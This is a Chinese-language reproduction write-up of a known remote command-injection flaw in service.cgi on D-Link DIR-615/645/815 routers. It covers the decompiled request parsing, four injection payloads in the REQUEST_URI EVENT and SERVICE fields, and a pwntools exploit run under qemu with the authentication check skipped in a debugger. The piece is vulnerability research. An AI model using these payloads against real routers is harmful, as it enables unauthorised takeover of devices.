D-Link DIR 615_645_815 service.cgi远程命令执行漏洞

前言

漏洞批漏:国家信息安全漏洞共享平台

D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。

之前分析过hedwig.cgi中存在栈溢出漏洞,命令执行漏洞存在于service.cgi,函数基本逻辑很像

本次复现主要是用的用户级qemu,第一个就是方便调试,第二个就是系统级本人不会启动service服务😊

固件分析

固件的主要二进制文件就是/htdocs/cgibin

漏洞点存在于servicecgi_main中,这里接收了第一个参数

image

这里先看漏洞点,以及注入点

sub_40A1C0,是解析函数,解析传参的内容,返回参数后第四位v3[3]

例:传入EVENT=abc;,会将abc返回给v5

然后会作为%s的值,拼接在event_%__dev_null中也就是后续执行lxmldbc_system(event%s____dev_null)的参数

image

image

用xrefs查看函数调用可以发现

lxmldbc_system后续会调用system

image

image

知道注入点以及如何利用,接下来我们仅需让函数走完就行

函数流程分析

首先就是传参方式,如果是get传参,则会直接报错退出,所以必须是post传参

image

然后就是cgibin_parse_request这个返回值需要大于0,这也是我们要解决的第一个点,当时分析hedwig.cgi栈溢出漏洞时,就曾详细分析过这个函数,主要功能以及流程都是一样的,没有什么太大的差异,猜测最后就是返回sub_40A63C,实际上也就是这样

image

三个参数,前两个随便写就行,但要注意一些字符不可少,后续的拆分什么的,例如?,&,=什么的第三个REQUEST_URI,是payload函数,这里具体判断还是需要去看汇编,查看函数调用,后续的sub_40A1C0(“EVENT”),从哪个变量中取值的,其实也可以说是经验之谈或者去猜,这里对REQUEST_URI的参数进行检测拼接处理,很明显他就是注入点

image

n38在?后边

image

CONTENT_TYPE有比较,跟栈溢出漏洞一样,设定为application/x-www-form-urlencoded即可,这里返回地址可以动态调试走一下

image

还是返回的403b10

image

image

参考上次栈溢出的思路,猜测这里能不能不这样走,但直接out了,因为函数会返回-1,然后就没办法命令执行了

第二个点就是sess_ispoweruser函数,他会检测cookie,就是一个用户验证,用户态的话是没有一些配置文件的,系统态的话应该可以,这里可以参考别的师傅,是将他nop了,同时也可以gdb直接set跳过这一步

image

image

断点下在0x40A3A4,然后去set,之后就可以走到我们的利用点,问题就在于如何构造payload

image

只要可以去执行system,我们就可以用’;cmd;去拼接执行命令,需要去理清这段函数的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
v5 = sub_40A1C0("EVENT");
v7 = (const char *)sub_40A1C0("ACTION");
v6 = sub_40A1C0("SERVICE");
if ( v5 )
{
event_%s____dev_null = "event %s > /dev/null";
}
else
{
if ( !v6 || !v7 )
goto LABEL_27;
if ( !strcasecmp(v7, "START") )
{
event_%s____dev_null = "service %s start > /dev/null";
}
else if ( !strcasecmp(v7, "STOP") )
{
event_%s____dev_null = "service %s stop > /dev/null";
}
else
{
if ( strcasecmp(v7, "RESTART") )
{
snprintf(s, 0x100u, "Unknown action - '%s'", v7);
goto LABEL_10;
}
event_%s____dev_null = "service %s restart > /dev/null";
}
}
lxmldbc_system(event_%s____dev_null);

第一种情况加上EVENT,v5!=Null,然后直接去执行v5,

另一种SERVICE(加上ACTION字段),v5=Null,然后程序会进入else,判断v6=Null || v7=Null,如果有一个是空,则程序报错,两者都不能是空,然后就有三条路可以走,最后都可以去注入命令执行,让v7=START,RESTART,STOP,会将v6拼接进去

通过函数流程图,我们可以发现四种路径可以调用lxmldbc_system,也就对应我们四种payload

1
2
3
4
REQUEST_URI="123?EVENT=;{cmd};&abc"
REQUEST_URI="123?ACTION=STOP&SERVICE=;{cmd};"
REQUEST_URI="123?ACTION=START&SERVICE=;ls;"
REQUEST_URI="123?ACTION=RESTART&SERVICE=;ls;"

image

exp

注:需要手动修改绕过用户认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
gdb.attach(target=("localhost", 6666), exe="./htdocs/cgibin",
gdbscript="""
b *0x40A3A4\n
c\n
""")
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

print("-------CNVD-2018-01084--------")
cmd=input("command:")


post_content = "Thir0th=AGRiot"
p = process(f'''
qemu-mipsel -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="123?EVENT=;{cmd};&abc" \
-E CONTENT_LENGTH=14 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-g 6666 \
./htdocs/cgibin

''',shell=True)
bug()


p.send(post_content)


'''
REQUEST_URI="123?ACTION=STOP&SERVICE=;{cmd};"
REQUEST_URI="123?ACTION=START&SERVICE=;ls;"
REQUEST_URI="123?ACTION=RESTART&SERVICE=;ls;"
'''





inter()

成功执行命令

image

思考

Dlink真是一个筛子啊,全都是漏洞,但每个服务功能函数基本相同,挖洞时要注意关键函数,system这些危险函数

认识到了看ida函数流程图的作用+xref的强大功能,后续挖掘都可以利用到

多尝试去猜+调试,对哪个变量参数有解析一般就是设置payload的参数

参考链接

DIR-645远程命令执行漏洞_d-link dir-645 wired wireless router操作系统命令注入漏洞攻击-CSDN博客

D-Link service.cgi远程命令执行漏洞分析-先知社区

D-Link DIR 615/645/815 service.cgi远程命令执行漏洞-先知社区